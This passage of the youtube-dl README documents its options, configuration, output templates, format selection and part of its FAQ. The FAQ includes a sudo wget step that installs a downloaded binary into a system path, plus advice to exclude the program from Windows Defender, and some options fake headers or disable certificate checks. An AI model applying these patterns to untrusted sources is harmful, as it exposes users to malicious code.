configuration files. When given in the global configuration file /etc/youtube-dl.conf: Do not read the user configuration in ~/.config/youtube- dl/config (%APPDATA%/youtube-dl/config.txt on Windows) --config-location PATH Location of the configuration file; either the path to the config or its containing directory. --flat-playlist Do not extract the videos of a playlist, only list them. --mark-watched Mark videos watched (YouTube only) --no-mark-watched Do not mark videos watched (YouTube only) --no-color Do not emit color codes in output ## Network Options: --proxy URL Use the specified HTTP/HTTPS/SOCKS proxy. To enable SOCKS proxy, specify a proper scheme. For example socks5://127.0.0.1:1080/. Pass in an empty string (--proxy "") for direct connection --socket-timeout SECONDS Time to wait before giving up, in seconds --source-address IP Client-side IP address to bind to -4, --force-ipv4 Make all connections via IPv4 -6, --force-ipv6 Make all connections via IPv6 ## Geo Restriction: --geo-verification-proxy URL Use this proxy to verify the IP address for some geo-restricted sites. The default proxy specified by --proxy (or none, if the option is not present) is used for the actual downloading. --geo-bypass Bypass geographic restriction via faking X-Forwarded-For HTTP header --no-geo-bypass Do not bypass geographic restriction via faking X-Forwarded-For HTTP header --geo-bypass-country CODE Force bypass geographic restriction with explicitly provided two-letter ISO 3166-2 country code --geo-bypass-ip-block IP_BLOCK Force bypass geographic restriction with explicitly provided IP block in CIDR notation ## Video Selection: --playlist-start NUMBER Playlist video to start at (default is 1) --playlist-end NUMBER Playlist video to end at (default is last) --playlist-items ITEM_SPEC Playlist video items to download. Specify indices of the videos in the playlist separated by commas like: "--playlist-items 1,2,5,8" if you want to download videos indexed 1, 2, 5, 8 in the playlist. You can specify range: "--playlist-items 1-3,7,10-13", it will download the videos at index 1, 2, 3, 7, 10, 11, 12 and 13. --match-title REGEX Download only matching titles (regex or caseless sub-string) --reject-title REGEX Skip download for matching titles (regex or caseless sub-string) --max-downloads NUMBER Abort after downloading NUMBER files --min-filesize SIZE Do not download any videos smaller than SIZE (e.g. 50k or 44.6m) --max-filesize SIZE Do not download any videos larger than SIZE (e.g. 50k or 44.6m) --date DATE Download only videos uploaded in this date --datebefore DATE Download only videos uploaded on or before this date (i.e. inclusive) --dateafter DATE Download only videos uploaded on or after this date (i.e. inclusive) --min-views COUNT Do not download any videos with less than COUNT views --max-views COUNT Do not download any videos with more than COUNT views --match-filter FILTER Generic video filter. Specify any key (see the "OUTPUT TEMPLATE" for a list of available keys) to match if the key is present, !key to check if the key is not present, key > NUMBER (like "comment_count > 12", also works with >=, <, <=, !=, =) to compare against a number, key = 'LITERAL' (like "uploader = 'Mike Smith'", also works with !=) to match against a string literal and & to require multiple matches. Values which are not known are excluded unless you put a question mark (?) after the operator. For example, to only match videos that have been liked more than 100 times and disliked less than 50 times (or the dislike functionality is not available at the given service), but who also have a description, use --match-filter "like_count > 100 & dislike_count <? 50 & description" . --no-playlist Download only the video, if the URL refers to a video and a playlist. --yes-playlist Download the playlist, if the URL refers to a video and a playlist. --age-limit YEARS Download only videos suitable for the given age --download-archive FILE Download only videos not listed in the archive file. Record the IDs of all downloaded videos in it. --include-ads Download advertisements as well (experimental) ## Download Options: -r, --limit-rate RATE Maximum download rate in bytes per second (e.g. 50K or 4.2M) -R, --retries RETRIES Number of retries (default is 10), or "infinite". --fragment-retries RETRIES Number of retries for a fragment (default is 10), or "infinite" (DASH, hlsnative and ISM) --skip-unavailable-fragments Skip unavailable fragments (DASH, hlsnative and ISM) --abort-on-unavailable-fragment Abort downloading when some fragment is not available --keep-fragments Keep downloaded fragments on disk after downloading is finished; fragments are erased by default --buffer-size SIZE Size of download buffer (e.g. 1024 or 16K) (default is 1024) --no-resize-buffer Do not automatically adjust the buffer size. By default, the buffer size is automatically resized from an initial value of SIZE. --http-chunk-size SIZE Size of a chunk for chunk-based HTTP downloading (e.g. 10485760 or 10M) (default is disabled). May be useful for bypassing bandwidth throttling imposed by a webserver (experimental) --playlist-reverse Download playlist videos in reverse order --playlist-random Download playlist videos in random order --xattr-set-filesize Set file xattribute ytdl.filesize with expected file size --hls-prefer-native Use the native HLS downloader instead of ffmpeg --hls-prefer-ffmpeg Use ffmpeg instead of the native HLS downloader --hls-use-mpegts Use the mpegts container for HLS videos, allowing to play the video while downloading (some players may not be able to play it) --external-downloader COMMAND Use the specified external downloader. Currently supports aria2c,avconv,axel,curl,ffmpeg,httpie,wget --external-downloader-args ARGS Give these arguments to the external downloader ## Filesystem Options: -a, --batch-file FILE File containing URLs to download ('-' for stdin), one URL per line. Lines starting with '#', ';' or ']' are considered as comments and ignored. --id Use only video ID in file name -o, --output TEMPLATE Output filename template, see the "OUTPUT TEMPLATE" for all the info --autonumber-start NUMBER Specify the start value for %(autonumber)s (default is 1) --restrict-filenames Restrict filenames to only ASCII characters, and avoid "&" and spaces in filenames -w, --no-overwrites Do not overwrite files -c, --continue Force resume of partially downloaded files. By default, youtube-dl will resume downloads if possible. --no-continue Do not resume partially downloaded files (restart from beginning) --no-part Do not use .part files - write directly into output file --no-mtime Do not use the Last-modified header to set the file modification time --write-description Write video description to a .description file --write-info-json Write video metadata to a .info.json file --write-annotations Write video annotations to a .annotations.xml file --load-info-json FILE JSON file containing the video information (created with the "--write-info-json" option) --cookies FILE File to read cookies from and dump cookie jar in --cache-dir DIR Location in the filesystem where youtube-dl can store some downloaded information permanently. By default $XDG_CACHE_HOME/youtube-dl or ~/.cache/youtube-dl . At the moment, only YouTube player files (for videos with obfuscated signatures) are cached, but that may change. --no-cache-dir Disable filesystem caching --rm-cache-dir Delete all filesystem cache files ## Thumbnail images: --write-thumbnail Write thumbnail image to disk --write-all-thumbnails Write all thumbnail image formats to disk --list-thumbnails Simulate and list all available thumbnail formats ## Verbosity / Simulation Options: -q, --quiet Activate quiet mode --no-warnings Ignore warnings -s, --simulate Do not download the video and do not write anything to disk --skip-download Do not download the video -g, --get-url Simulate, quiet but print URL -e, --get-title Simulate, quiet but print title --get-id Simulate, quiet but print id --get-thumbnail Simulate, quiet but print thumbnail URL --get-description Simulate, quiet but print video description --get-duration Simulate, quiet but print video length --get-filename Simulate, quiet but print output filename --get-format Simulate, quiet but print output format -j, --dump-json Simulate, quiet but print JSON information. See the "OUTPUT TEMPLATE" for a description of available keys. -J, --dump-single-json Simulate, quiet but print JSON information for each command-line argument. If the URL refers to a playlist, dump the whole playlist information in a single line. --print-json Be quiet and print the video information as JSON (video is still being downloaded). --newline Output progress bar as new lines --no-progress Do not print progress bar --console-title Display progress in console titlebar -v, --verbose Print various debugging information --dump-pages Print downloaded pages encoded using base64 to debug problems (very verbose) --write-pages Write downloaded intermediary pages to files in the current directory to debug problems --print-traffic Display sent and read HTTP traffic -C, --call-home Contact the youtube-dl server for debugging --no-call-home Do NOT contact the youtube-dl server for debugging ## Workarounds: --encoding ENCODING Force the specified encoding (experimental) --no-check-certificate Suppress HTTPS certificate validation --prefer-insecure Use an unencrypted connection to retrieve information about the video. (Currently supported only for YouTube) --user-agent UA Specify a custom user agent --referer URL Specify a custom referer, use if the video access is restricted to one domain --add-header FIELD:VALUE Specify a custom HTTP header and its value, separated by a colon ':'. You can use this option multiple times --bidi-workaround Work around terminals that lack bidirectional text support. Requires bidiv or fribidi executable in PATH --sleep-interval SECONDS Number of seconds to sleep before each download when used alone or a lower bound of a range for randomized sleep before each download (minimum possible number of seconds to sleep) when used along with --max-sleep-interval. --max-sleep-interval SECONDS Upper bound of a range for randomized sleep before each download (maximum possible number of seconds to sleep). Must only be used along with --min-sleep-interval. ## Video Format Options: -f, --format FORMAT Video format code, see the "FORMAT SELECTION" for all the info --all-formats Download all available video formats --prefer-free-formats Prefer free video formats unless a specific one is requested -F, --list-formats List all available formats of requested videos --youtube-skip-dash-manifest Do not download the DASH manifests and related data on YouTube videos --merge-output-format FORMAT If a merge is required (e.g. bestvideo+bestaudio), output to given container format. One of mkv, mp4, ogg, webm, flv. Ignored if no merge is required ## Subtitle Options: --write-sub Write subtitle file --write-auto-sub Write automatically generated subtitle file (YouTube only) --all-subs Download all the available subtitles of the video --list-subs List all available subtitles for the video --sub-format FORMAT Subtitle format, accepts formats preference, for example: "srt" or "ass/srt/best" --sub-lang LANGS Languages of the subtitles to download (optional) separated by commas, use --list- subs for available language tags ## Authentication Options: -u, --username USERNAME Login with this account ID -p, --password PASSWORD Account password. If this option is left out, youtube-dl will ask interactively. -2, --twofactor TWOFACTOR Two-factor authentication code -n, --netrc Use .netrc authentication data --video-password PASSWORD Video password (vimeo, smotri, youku) ## Adobe Pass Options: --ap-mso MSO Adobe Pass multiple-system operator (TV provider) identifier, use --ap-list-mso for a list of available MSOs --ap-username USERNAME Multiple-system operator account login --ap-password PASSWORD Multiple-system operator account password. If this option is left out, youtube-dl will ask interactively. --ap-list-mso List all supported multiple-system operators ## Post-processing Options: -x, --extract-audio Convert video files to audio-only files (requires ffmpeg or avconv and ffprobe or avprobe) --audio-format FORMAT Specify audio format: "best", "aac", "flac", "mp3", "m4a", "opus", "vorbis", or "wav"; "best" by default; No effect without -x --audio-quality QUALITY Specify ffmpeg/avconv audio quality, insert a value between 0 (better) and 9 (worse) for VBR or a specific bitrate like 128K (default 5) --recode-video FORMAT Encode the video to another format if necessary (currently supported: mp4|flv|ogg|webm|mkv|avi) --postprocessor-args ARGS Give these arguments to the postprocessor -k, --keep-video Keep the video file on disk after the post- processing; the video is erased by default --no-post-overwrites Do not overwrite post-processed files; the post-processed files are overwritten by default --embed-subs Embed subtitles in the video (only for mp4, webm and mkv videos) --embed-thumbnail Embed thumbnail in the audio as cover art --add-metadata Write metadata to the video file --metadata-from-title FORMAT Parse additional metadata like song title / artist from the video title. The format syntax is the same as --output. Regular expression with named capture groups may also be used. The parsed parameters replace existing values. Example: --metadata-from- title "%(artist)s - %(title)s" matches a title like "Coldplay - Paradise". Example (regex): --metadata-from-title "(?P<artist>.+?) - (?P<title>.+)" --xattrs Write metadata to the video file's xattrs (using dublin core and xdg standards) --fixup POLICY Automatically correct known faults of the file. One of never (do nothing), warn (only emit a warning), detect_or_warn (the default; fix file if we can, warn otherwise) --prefer-avconv Prefer avconv over ffmpeg for running the postprocessors --prefer-ffmpeg Prefer ffmpeg over avconv for running the postprocessors (default) --ffmpeg-location PATH Location of the ffmpeg/avconv binary; either the path to the binary or its containing directory. --exec CMD Execute a command on the file after downloading, similar to find's -exec syntax. Example: --exec 'adb push {} /sdcard/Music/ && rm {}' --convert-subs FORMAT Convert the subtitles to other format (currently supported: srt|ass|vtt|lrc) # CONFIGURATION You can configure youtube-dl by placing any supported command line option to a configuration file. On Linux and macOS, the system wide configuration file is located at `/etc/youtube-dl.conf` and the user wide configuration file at `~/.config/youtube-dl/config`. On Windows, the user wide configuration file locations are `%APPDATA%\youtube-dl\config.txt` or `C:\Users\<user name>\youtube-dl.conf`. Note that by default configuration file may not exist so you may need to create it yourself. For example, with the following configuration file youtube-dl will always extract the audio, not copy the mtime, use a proxy and save all videos under `Movies` directory in your home directory: ``` # Lines starting with # are comments # Always extract audio -x # Do not copy the mtime --no-mtime # Use this proxy --proxy 127.0.0.1:3128 # Save all videos under Movies directory in your home directory -o ~/Movies/%(title)s.%(ext)s ``` Note that options in configuration file are just the same options aka switches used in regular command line calls thus there **must be no whitespace** after `-` or `--`, e.g. `-o` or `--proxy` but not `- o` or `-- proxy`. You can use `--ignore-config` if you want to disable the configuration file for a particular youtube-dl run. You can also use `--config-location` if you want to use custom configuration file for a particular youtube-dl run. ### Authentication with `.netrc` file You may also want to configure automatic credentials storage for extractors that support authentication (by providing login and password with `--username` and `--password`) in order not to pass credentials as command line arguments on every youtube-dl execution and prevent tracking plain text passwords in the shell command history. You can achieve this using a [`.netrc` file](https://stackoverflow.com/tags/.netrc/info) on a per extractor basis. For that you will need to create a `.netrc` file in your `$HOME` and restrict permissions to read/write by only you: ``` touch $HOME/.netrc chmod a-rwx,u+rw $HOME/.netrc ``` After that you can add credentials for an extractor in the following format, where *extractor* is the name of the extractor in lowercase: ``` machine <extractor> login <login> password <password> ``` For example: ``` machine youtube login [email protected] password my_youtube_password machine twitch login my_twitch_account_name password my_twitch_password ``` To activate authentication with the `.netrc` file you should pass `--netrc` to youtube-dl or place it in the [configuration file](#configuration). On Windows you may also need to setup the `%HOME%` environment variable manually. For example: ``` set HOME=%USERPROFILE% ``` # OUTPUT TEMPLATE The `-o` option allows users to indicate a template for the output file names. **tl;dr:** [navigate me to examples](#output-template-examples). The basic usage is not to set any template arguments when downloading a single file, like in `youtube-dl -o funny_video.flv "https://some/video"`. However, it may contain special sequences that will be replaced when downloading each video. The special sequences may be formatted according to [python string formatting operations](https://docs.python.org/2/library/stdtypes.html#string-formatting). For example, `%(NAME)s` or `%(NAME)05d`. To clarify, that is a percent symbol followed by a name in parentheses, followed by formatting operations. Allowed names along with sequence type are: - `id` (string): Video identifier - `title` (string): Video title - `url` (string): Video URL - `ext` (string): Video filename extension - `alt_title` (string): A secondary title of the video - `display_id` (string): An alternative identifier for the video - `uploader` (string): Full name of the video uploader - `license` (string): License name the video is licensed under - `creator` (string): The creator of the video - `release_date` (string): The date (YYYYMMDD) when the video was released - `timestamp` (numeric): UNIX timestamp of the moment the video became available - `upload_date` (string): Video upload date (YYYYMMDD) - `uploader_id` (string): Nickname or id of the video uploader - `channel` (string): Full name of the channel the video is uploaded on - `channel_id` (string): Id of the channel - `location` (string): Physical location where the video was filmed - `duration` (numeric): Length of the video in seconds - `view_count` (numeric): How many users have watched the video on the platform - `like_count` (numeric): Number of positive ratings of the video - `dislike_count` (numeric): Number of negative ratings of the video - `repost_count` (numeric): Number of reposts of the video - `average_rating` (numeric): Average rating give by users, the scale used depends on the webpage - `comment_count` (numeric): Number of comments on the video - `age_limit` (numeric): Age restriction for the video (years) - `is_live` (boolean): Whether this video is a live stream or a fixed-length video - `start_time` (numeric): Time in seconds where the reproduction should start, as specified in the URL - `end_time` (numeric): Time in seconds where the reproduction should end, as specified in the URL - `format` (string): A human-readable description of the format - `format_id` (string): Format code specified by `--format` - `format_note` (string): Additional info about the format - `width` (numeric): Width of the video - `height` (numeric): Height of the video - `resolution` (string): Textual description of width and height - `tbr` (numeric): Average bitrate of audio and video in KBit/s - `abr` (numeric): Average audio bitrate in KBit/s - `acodec` (string): Name of the audio codec in use - `asr` (numeric): Audio sampling rate in Hertz - `vbr` (numeric): Average video bitrate in KBit/s - `fps` (numeric): Frame rate - `vcodec` (string): Name of the video codec in use - `container` (string): Name of the container format - `filesize` (numeric): The number of bytes, if known in advance - `filesize_approx` (numeric): An estimate for the number of bytes - `protocol` (string): The protocol that will be used for the actual download - `extractor` (string): Name of the extractor - `extractor_key` (string): Key name of the extractor - `epoch` (numeric): Unix epoch when creating the file - `autonumber` (numeric): Five-digit number that will be increased with each download, starting at zero - `playlist` (string): Name or id of the playlist that contains the video - `playlist_index` (numeric): Index of the video in the playlist padded with leading zeros according to the total length of the playlist - `playlist_id` (string): Playlist identifier - `playlist_title` (string): Playlist title - `playlist_uploader` (string): Full name of the playlist uploader - `playlist_uploader_id` (string): Nickname or id of the playlist uploader Available for the video that belongs to some logical chapter or section: - `chapter` (string): Name or title of the chapter the video belongs to - `chapter_number` (numeric): Number of the chapter the video belongs to - `chapter_id` (string): Id of the chapter the video belongs to Available for the video that is an episode of some series or programme: - `series` (string): Title of the series or programme the video episode belongs to - `season` (string): Title of the season the video episode belongs to - `season_number` (numeric): Number of the season the video episode belongs to - `season_id` (string): Id of the season the video episode belongs to - `episode` (string): Title of the video episode - `episode_number` (numeric): Number of the video episode within a season - `episode_id` (string): Id of the video episode Available for the media that is a track or a part of a music album: - `track` (string): Title of the track - `track_number` (numeric): Number of the track within an album or a disc - `track_id` (string): Id of the track - `artist` (string): Artist(s) of the track - `genre` (string): Genre(s) of the track - `album` (string): Title of the album the track belongs to - `album_type` (string): Type of the album - `album_artist` (string): List of all artists appeared on the album - `disc_number` (numeric): Number of the disc or other physical medium the track belongs to - `release_year` (numeric): Year (YYYY) when the album was released Each aforementioned sequence when referenced in an output template will be replaced by the actual value corresponding to the sequence name. Note that some of the sequences are not guaranteed to be present since they depend on the metadata obtained by a particular extractor. Such sequences will be replaced with `NA`. For example for `-o %(title)s-%(id)s.%(ext)s` and an mp4 video with title `youtube-dl test video` and id `BaW_jenozKcj`, this will result in a `youtube-dl test video-BaW_jenozKcj.mp4` file created in the current directory. For numeric sequences you can use numeric related formatting, for example, `%(view_count)05d` will result in a string with view count padded with zeros up to 5 characters, like in `00042`. Output templates can also contain arbitrary hierarchical path, e.g. `-o '%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s'` which will result in downloading each video in a directory corresponding to this path template. Any missing directory will be automatically created for you. To use percent literals in an output template use `%%`. To output to stdout use `-o -`. The current default template is `%(title)s-%(id)s.%(ext)s`. In some cases, you don't want special characters such as 中, spaces, or &, such as when transferring the downloaded filename to a Windows system or the filename through an 8bit-unsafe channel. In these cases, add the `--restrict-filenames` flag to get a shorter title: #### Output template and Windows batch files If you are using an output template inside a Windows batch file then you must escape plain percent characters (`%`) by doubling, so that `-o "%(title)s-%(id)s.%(ext)s"` should become `-o "%%(title)s-%%(id)s.%%(ext)s"`. However you should not touch `%`'s that are not plain characters, e.g. environment variables for expansion should stay intact: `-o "C:\%HOMEPATH%\Desktop\%%(title)s.%%(ext)s"`. #### Output template examples Note that on Windows you may need to use double quotes instead of single. ```bash $ youtube-dl --get-filename -o '%(title)s.%(ext)s' BaW_jenozKc youtube-dl test video ''_ä↭𝕐.mp4 # All kinds of weird characters $ youtube-dl --get-filename -o '%(title)s.%(ext)s' BaW_jenozKc --restrict-filenames youtube-dl_test_video_.mp4 # A simple file name # Download YouTube playlist videos in separate directory indexed by video order in a playlist $ youtube-dl -o '%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s' https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re # Download all playlists of YouTube channel/user keeping each playlist in separate directory: $ youtube-dl -o '%(uploader)s/%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s' https://www.youtube.com/user/TheLinuxFoundation/playlists # Download Udemy course keeping each chapter in separate directory under MyVideos directory in your home $ youtube-dl -u user -p password -o '~/MyVideos/%(playlist)s/%(chapter_number)s - %(chapter)s/%(title)s.%(ext)s' https://www.udemy.com/java-tutorial/ # Download entire series season keeping each series and each season in separate directory under C:/MyVideos $ youtube-dl -o "C:/MyVideos/%(series)s/%(season_number)s - %(season)s/%(episode_number)s - %(episode)s.%(ext)s" https://videomore.ru/kino_v_detalayah/5_sezon/367617 # Stream the video being downloaded to stdout $ youtube-dl -o - BaW_jenozKc ``` # FORMAT SELECTION By default youtube-dl tries to download the best available quality, i.e. if you want the best quality you **don't need** to pass any special options, youtube-dl will guess it for you by **default**. But sometimes you may want to download in a different format, for example when you are on a slow or intermittent connection. The key mechanism for achieving this is so-called *format selection* based on which you can explicitly specify desired format, select formats based on some criterion or criteria, setup precedence and much more. The general syntax for format selection is `--format FORMAT` or shorter `-f FORMAT` where `FORMAT` is a *selector expression*, i.e. an expression that describes format or formats you would like to download. **tl;dr:** [navigate me to examples](#format-selection-examples). The simplest case is requesting a specific format, for example with `-f 22` you can download the format with format code equal to 22. You can get the list of available format codes for particular video using `--list-formats` or `-F`. Note that these format codes are extractor specific. You can also use a file extension (currently `3gp`, `aac`, `flv`, `m4a`, `mp3`, `mp4`, `ogg`, `wav`, `webm` are supported) to download the best quality format of a particular file extension served as a single file, e.g. `-f webm` will download the best quality format with the `webm` extension served as a single file. You can also use special names to select particular edge case formats: - `best`: Select the best quality format represented by a single file with video and audio. - `worst`: Select the worst quality format represented by a single file with video and audio. - `bestvideo`: Select the best quality video-only format (e.g. DASH video). May not be available. - `worstvideo`: Select the worst quality video-only format. May not be available. - `bestaudio`: Select the best quality audio only-format. May not be available. - `worstaudio`: Select the worst quality audio only-format. May not be available. For example, to download the worst quality video-only format you can use `-f worstvideo`. If you want to download multiple videos and they don't have the same formats available, you can specify the order of preference using slashes. Note that slash is left-associative, i.e. formats on the left hand side are preferred, for example `-f 22/17/18` will download format 22 if it's available, otherwise it will download format 17 if it's available, otherwise it will download format 18 if it's available, otherwise it will complain that no suitable formats are available for download. If you want to download several formats of the same video use a comma as a separator, e.g. `-f 22,17,18` will download all these three formats, of course if they are available. Or a more sophisticated example combined with the precedence feature: `-f 136/137/mp4/bestvideo,140/m4a/bestaudio`. You can also filter the video formats by putting a condition in brackets, as in `-f "best[height=720]"` (or `-f "[filesize>10M]"`). The following numeric meta fields can be used with comparisons `<`, `<=`, `>`, `>=`, `=` (equals), `!=` (not equals): - `filesize`: The number of bytes, if known in advance - `width`: Width of the video, if known - `height`: Height of the video, if known - `tbr`: Average bitrate of audio and video in KBit/s - `abr`: Average audio bitrate in KBit/s - `vbr`: Average video bitrate in KBit/s - `asr`: Audio sampling rate in Hertz - `fps`: Frame rate Also filtering work for comparisons `=` (equals), `^=` (starts with), `$=` (ends with), `*=` (contains) and following string meta fields: - `ext`: File extension - `acodec`: Name of the audio codec in use - `vcodec`: Name of the video codec in use - `container`: Name of the container format - `protocol`: The protocol that will be used for the actual download, lower-case (`http`, `https`, `rtsp`, `rtmp`, `rtmpe`, `mms`, `f4m`, `ism`, `http_dash_segments`, `m3u8`, or `m3u8_native`) - `format_id`: A short description of the format Any string comparison may be prefixed with negation `!` in order to produce an opposite comparison, e.g. `!*=` (does not contain). Note that none of the aforementioned meta fields are guaranteed to be present since this solely depends on the metadata obtained by particular extractor, i.e. the metadata offered by the video hoster. Formats for which the value is not known are excluded unless you put a question mark (`?`) after the operator. You can combine format filters, so `-f "[height <=? 720][tbr>500]"` selects up to 720p videos (or videos where the height is not known) with a bitrate of at least 500 KBit/s. You can merge the video and audio of two formats into a single file using `-f <video-format>+<audio-format>` (requires ffmpeg or avconv installed), for example `-f bestvideo+bestaudio` will download the best video-only format, the best audio-only format and mux them together with ffmpeg/avconv. Format selectors can also be grouped using parentheses, for example if you want to download the best mp4 and webm formats with a height lower than 480 you can use `-f '(mp4,webm)[height<480]'`. Since the end of April 2015 and version 2015.04.26, youtube-dl uses `-f bestvideo+bestaudio/best` as the default format selection (see [#5447](https://github.com/ytdl-org/youtube-dl/issues/5447), [#5456](https://github.com/ytdl-org/youtube-dl/issues/5456)). If ffmpeg or avconv are installed this results in downloading `bestvideo` and `bestaudio` separately and muxing them together into a single file giving the best overall quality available. Otherwise it falls back to `best` and results in downloading the best available quality served as a single file. `best` is also needed for videos that don't come from YouTube because they don't provide the audio and video in two different files. If you want to only download some DASH formats (for example if you are not interested in getting videos with a resolution higher than 1080p), you can add `-f bestvideo[height<=?1080]+bestaudio/best` to your configuration file. Note that if you use youtube-dl to stream to `stdout` (and most likely to pipe it to your media player then), i.e. you explicitly specify output template as `-o -`, youtube-dl still uses `-f best` format selection in order to start content delivery immediately to your player and not to wait until `bestvideo` and `bestaudio` are downloaded and muxed. If you want to preserve the old format selection behavior (prior to youtube-dl 2015.04.26), i.e. you want to download the best available quality media served as a single file, you should explicitly specify your choice with `-f best`. You may want to add it to the [configuration file](#configuration) in order not to type it every time you run youtube-dl. #### Format selection examples Note that on Windows you may need to use double quotes instead of single. ```bash # Download best mp4 format available or any other best if no mp4 available $ youtube-dl -f 'bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best' # Download best format available but no better than 480p $ youtube-dl -f 'bestvideo[height<=480]+bestaudio/best[height<=480]' # Download best video only format but no bigger than 50 MB $ youtube-dl -f 'best[filesize<50M]' # Download best format available via direct link over HTTP/HTTPS protocol $ youtube-dl -f '(bestvideo+bestaudio/best)[protocol^=http]' # Download the best video format and the best audio format without merging them $ youtube-dl -f 'bestvideo,bestaudio' -o '%(title)s.f%(format_id)s.%(ext)s' ``` Note that in the last example, an output template is recommended as bestvideo and bestaudio may have the same file name. # VIDEO SELECTION Videos can be filtered by their upload date using the options `--date`, `--datebefore` or `--dateafter`. They accept dates in two formats: - Absolute dates: Dates in the format `YYYYMMDD`. - Relative dates: Dates in the format `(now|today)[+-][0-9](day|week|month|year)(s)?` Examples: ```bash # Download only the videos uploaded in the last 6 months $ youtube-dl --dateafter now-6months # Download only the videos uploaded on January 1, 1970 $ youtube-dl --date 19700101 $ # Download only the videos uploaded in the 200x decade $ youtube-dl --dateafter 20000101 --datebefore 20091231 ``` # FAQ ### How do I update youtube-dl? If you've followed [our manual installation instructions](https://ytdl-org.github.io/youtube-dl/download.html), you can simply run `youtube-dl -U` (or, on Linux, `sudo youtube-dl -U`). If you have used pip, a simple `sudo pip install -U youtube-dl` is sufficient to update. If you have installed youtube-dl using a package manager like *apt-get* or *yum*, use the standard system update mechanism to update. Note that distribution packages are often outdated. As a rule of thumb, youtube-dl releases at least once a month, and often weekly or even daily. Simply go to https://yt-dl.org to find out the current version. Unfortunately, there is nothing we youtube-dl developers can do if your distribution serves a really outdated version. You can (and should) complain to your distribution in their bugtracker or support forum. As a last resort, you can also uninstall the version installed by your package manager and follow our manual installation instructions. For that, remove the distribution's package, with a line like sudo apt-get remove -y youtube-dl Afterwards, simply follow [our manual installation instructions](https://ytdl-org.github.io/youtube-dl/download.html): ``` sudo wget https://yt-dl.org/latest/youtube-dl -O /usr/local/bin/youtube-dl sudo chmod a+x /usr/local/bin/youtube-dl hash -r ``` Again, from then on you'll be able to update with `sudo youtube-dl -U`. ### youtube-dl is extremely slow to start on Windows Add a file exclusion for `youtube-dl.exe` in Windows Defender settings. ### I'm getting an error `Unable to extract OpenGraph title` on YouTube playlists YouTube changed their playlist format in March 2014 and later on, so you'll need at least youtube-dl 2014.07.25 to download all YouTube videos. If you have installed youtube-dl with a package manager, pip, setup.py or a tarball, please use that to update. Note that Ubuntu packages do not seem to get updated anymore. Since we are not affiliated with Ubuntu, there is little we can do. Feel free to [report bugs](https://bugs.launchpad.net/ubuntu/+source/youtube-dl/+filebug) to the [Ubuntu packaging people](mailto:[email protected]?subject=outdated%20version%20of%20youtube-dl) - all they have to do is update the package to a somewhat recent version. See above for a way to update. ### I'm getting an error when trying to use output template: `error: using output template conflicts with using title, video ID or auto number` Make sure you are not using `-o` with any of these options `-t`, `--title`, `--id`, `-A` or `--auto-number` set in command line or in a configuration file. Remove the latter if any. ### Do I always have to pass `-citw`? By default, youtube-dl intends to have the best options (incidentally, if you have a convincing case that these should be different, [please file an issue where you explain that](https://yt-dl.org/bug)). Therefore, it is unnecessary and sometimes harmful to copy long option strings from webpages. In particular, the only option out of `-citw` that is regularly useful is `-i`. ### Can you please put the `-b` option back? Most people asking this question are not aware that youtube-dl now defaults to downloading the highest available quality as reported by YouTube, which will be 1080p or 720p in some cases, so you no longer need the `-b` option. For some specific videos, maybe YouTube does not report them to be available in a specific high quality format you're interested in. In that case, simply request it with the `-f` option and youtube-dl will try to download it. ### I get HTTP error 402 when trying to download a video. What's this? Apparently YouTube requires you to pass a CAPTCHA test if you download too much. We're [considering to provide a way to let you solve the CAPTCHA](https://github.com/ytdl-org/youtube-dl/issues/154), but at the moment, your best course of action is pointing a web browser to the youtube URL, solving the CAPTCHA, and restart youtube-dl. ### Do I need any other programs? youtube-dl works fine on its own on most sites. However, if you want to convert video/audio, you'll need [avconv](https://libav.org/) or [ffmpeg](https://www.ffmpeg.org/). On some sites - most notably YouTube - videos can be retrieved in a higher quality format without sound. youtube-dl will detect whether avconv/ffmpeg is present and automatically pick the best option. Videos or video formats streamed via RTMP protocol can only be downloaded when [rtmpdump](https://rtmpdump.mplayerhq.hu/) is installed. Downloading MMS and RTSP videos requires either [mplayer](https://mplayerhq.hu/) or [mpv](https://mpv.io/) to be installed. ### I have downloaded a video but how can I play it? Once the video is fully downloaded, use any video player, such as [mpv](https://mpv.io/), [vlc](https://www.videolan.org/) or [mplayer](https://www.mplayerhq.hu/). ### I extracted a video URL with `-g`, but it does not play on another machine / in my web browser. It depends a lot on the service. In many cases, requests for the video (to download/play it) must come from the same IP address and with the same cookies and/or HTTP headers. Use the `--cookies` option to write the required cookies into a file, and advise your downloader to read cookies from that file. Some sites also require a common user agent to be used, use `--dump-user-agent` to see the one in use by youtube-dl. You can also get necessary cookies and HTTP headers from JSON output obtained with `--dump-json`. It may be beneficial to use IPv6; in some cases, the restrictions are only applied to IPv4. Some services (sometimes only for a subset of videos) do not restrict the video URL by IP address, cookie, or user-agent, but these are the exception rather than the rule. Please bear in mind that some URL protocols are **not** supported by browsers out of the box, including RTMP. If you are using `-g`, your own downloader must support these as well. If you want to play the video on a machine that is not running youtube-dl, you can relay the video content from the machine that runs youtube-dl. You can use `-o -` to let youtube-dl stream a video to stdout, or simply allow the player to download the files written by youtube-dl in turn. ### ERROR: no fmt_url_map or conn information found in video info YouTube has switched to a new video info format in July 2011 which is not supported by old versions of youtube-dl. See [above](#how-do-i-update-youtube-dl) for how to update youtube-dl. ### ERROR: unable to download video YouTube requires an additional signature since September 2012 which is not supported by old versions of youtube-dl. See [above](#how-do-i-update-youtube-dl) for how to update youtube-dl. ### Video URL contains an ampersand and I'm getting some strange output `[1] 2839` or `'v' is not recognized as an internal or external command` That's actually the output from your shell. Since ampersand is one of the special shell characters it's interpreted by the shell preventing you from passing the whole URL to youtube-dl. To disable your shell from interpreting the ampersands (or any other special characters) you have to either put the whole URL in quotes or escape them with a backslash (which approach will work depends on your shell). For example if your URL is https://www.youtube.com/watch?t=4&v=BaW_jenozKc you should end up with following command: ```youtube-dl 'https://www.youtube.com/watch?t=4&v=BaW_jenozKc'``` or ```youtube-dl https://www.youtube.com/watch?t=4\&v=BaW_jenozKc``` For Windows you have to use the double quotes: ```youtube-dl "https://www.youtube.com/watch?t=4&v=BaW_jenozKc"``` ### ExtractorError: Could not find JS function u'OF' In February 2015, the new YouTube player contained a character sequence in a string that was misinterpreted by old versions of youtube-dl. See [above](#how-do-i-update-youtube-dl) for how to update youtube-dl. ### HTTP Error 429: Too Many Requests or 402: Payment Required These two error codes indicate that the service is 